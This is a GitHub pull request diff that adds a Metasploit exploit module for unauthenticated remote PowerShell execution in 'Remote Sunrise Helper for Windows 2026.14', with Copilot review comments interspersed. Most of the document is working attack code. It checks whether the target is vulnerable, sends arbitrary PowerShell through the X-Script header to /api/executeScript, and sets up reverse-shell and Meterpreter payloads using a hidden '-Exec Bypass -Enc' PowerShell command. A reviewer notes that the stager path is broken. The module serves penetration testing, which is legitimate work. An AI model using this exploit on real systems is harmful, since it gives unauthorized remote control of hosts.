Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
176 changes: 176 additions & 0 deletions modules/exploits/windows/misc/remote_sunrise_helper_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,176 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Comment on lines +1 to +6
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR adds a new exploit module but does not add the corresponding module documentation markdown under documentation/modules/exploit/windows/misc/remote_sunrise_helper_rce.md. The repo’s documentation guidelines and PR template expect new modules to include a matching documentation file so users can see verification steps, options, and scenarios via info -d.

Copilot uses AI. Check for mistakes.
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Sunrise Helper for Windows 2026.14 - Unauthenticated RCE',
'Description' => %q{
Remote Sunrise Helper for Windows 2026.14 exposes an unauthenticated HTTP API
on a dynamically assigned HTTPS port. When `requires.auth` returned by
/api/getVersion is false, the /api/executeScript endpoint executes arbitrary
PowerShell via the X-Script header with no authentication required.
Comment on lines +15 to +20
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR adds a new exploit module, but there is no corresponding documentation markdown under documentation/modules/exploit/windows/misc/remote_sunrise_helper_rce.md (the repo’s docs use the documentation/modules/exploit/... path for exploit modules). Please add the module documentation so info -d users get usage/verification notes.

Copilot uses AI. Check for mistakes.
},
'License' => MSF_LICENSE,
'Author' => [
'Chokri Hammedi'
],
'References' => [
['URL', 'https://packetstorm.news/files/id/219192/']
],
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Targets' => [
[
'PowerShell Direct (reverse shell)',
{
'Type' => :psh_direct,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
],
[
'Windows x64 Meterpreter (PowerShell stager)',
{
'Type' => :psh_stager,
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows x86 Meterpreter (PowerShell stager)',
{
'Type' => :psh_stager,
'Arch' => ARCH_X86,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SideEffects is set to ARTIFACTS_ON_DISK, but this module only sends PowerShell for execution and does not appear to drop files itself. If execution is intended to be in-memory for all targets, consider removing ARTIFACTS_ON_DISK (or updating it to the appropriate side effect, such as logs/network indicators) to keep module metadata accurate.

Suggested change
'SideEffects' => [ARTIFACTS_ON_DISK]
'SideEffects' => []

Copilot uses AI. Check for mistakes.
}
)
)

register_options([
Opt::RPORT(49762),
OptBool.new('SSL', [true, 'Use SSL/TLS for the connection', true]),
OptString.new('TARGETURI', [true, 'Base URI path', '/'])
])

register_advanced_options([
OptBool.new('SkipVersionCheck', [false, 'Skip the /api/getVersion auth check', false])
])
end

def check
res = send_version_request
return CheckCode::Unknown('No response from /api/getVersion') unless res

begin
data = res.get_json_document
rescue StandardError
return CheckCode::Unknown('Response was not valid JSON')
end

if data['requires.auth'] == false
CheckCode::Vulnerable("Authentication disabled - version #{data['version']} on #{data['host.name']}")
elsif data.key?('requires.auth')
CheckCode::Safe('Authentication is enabled')
else
CheckCode::Detected('Endpoint responded but auth status unknown')
end
end

def exploit
unless datastore['SkipVersionCheck']
res = send_version_request
fail_with(Failure::Unreachable, 'No response from /api/getVersion') unless res

begin
data = res.get_json_document
rescue StandardError
fail_with(Failure::UnexpectedReply, 'Could not parse /api/getVersion as JSON')
end

fail_with(Failure::NotVulnerable, 'Authentication is enabled') unless data['requires.auth'] == false
end

case target['Type']
when :psh_direct
send_script(payload.encoded)
when :psh_stager
send_script(build_psh_stager)
end
end

private

def build_psh_stager
encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(payload.encoded))
"powershell -NoP -NonI -W Hidden -Exec Bypass -Enc #{encoded}"
end
Comment on lines +121 to +124
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For the :psh_stager targets, build_psh_stager is Base64-encoding payload.encoded directly and passing it to powershell -Enc. For meterpreter payloads, payload.encoded is raw shellcode bytes, not PowerShell source, so this will not execute as intended. Use the standard PowerShell helpers (e.g., include Msf::Exploit::Powershell and generate a proper PowerShell stager/command for the selected payload/arch) rather than encoding the raw payload bytes as if it were script text.

Copilot uses AI. Check for mistakes.

def send_script(script)
print_status("Sending script via X-Script (#{script.length} bytes)...")
vprint_status("Script: #{script[0, 120]}#{'...' if script.length > 120}")

res = send_script_request(script)

unless res
print_status('No HTTP response received - payload likely executing')
return
end

begin
result = res.get_json_document
output = result['result'] || result['error']
print_good("Response: #{output}") if output && !output.to_s.strip.empty?
rescue StandardError
vprint_status("Raw response body: #{res.body}")
end
end

def api_headers
{
'X-HostName' => Rex::Text.rand_text_alpha(8),
'X-ClientToken' => Rex::Text.rand_text_alpha(8),
'X-HostFullModel' => Rex::Text.rand_text_alpha(8)
}
end

def send_version_request
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'),
'ssl' => datastore['SSL'],
'headers' => api_headers
)
rescue Rex::ConnectionError, Rex::ConnectionTimeout
nil
end
Comment on lines +154 to +163
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

send_version_request rescues only Rex::ConnectionError and Rex::ConnectionTimeout. Other common connection exceptions raised by HTTP requests in this codebase (e.g. Rex::ConnectionRefused / Rex::HostUnreachable) are not handled here and can bubble up as unhandled exceptions during check/exploit. Consider rescuing the same connection exception set used by other HttpClient modules.

Copilot uses AI. Check for mistakes.

def send_script_request(script)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'),
'ssl' => datastore['SSL'],
'headers' => api_headers.merge('X-Script' => script),
'timeout' => 10
)
rescue Rex::ConnectionError, Rex::ConnectionTimeout
nil
end
Comment on lines +165 to +175
Copy link

Copilot AI Apr 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

send_script_request has the same narrow connection exception handling as send_version_request. If send_request_cgi raises Rex::ConnectionRefused / Rex::HostUnreachable (common for unreachable services), this method will raise instead of returning nil, which can cause unexpected module crashes.

Copilot uses AI. Check for mistakes.
end
Loading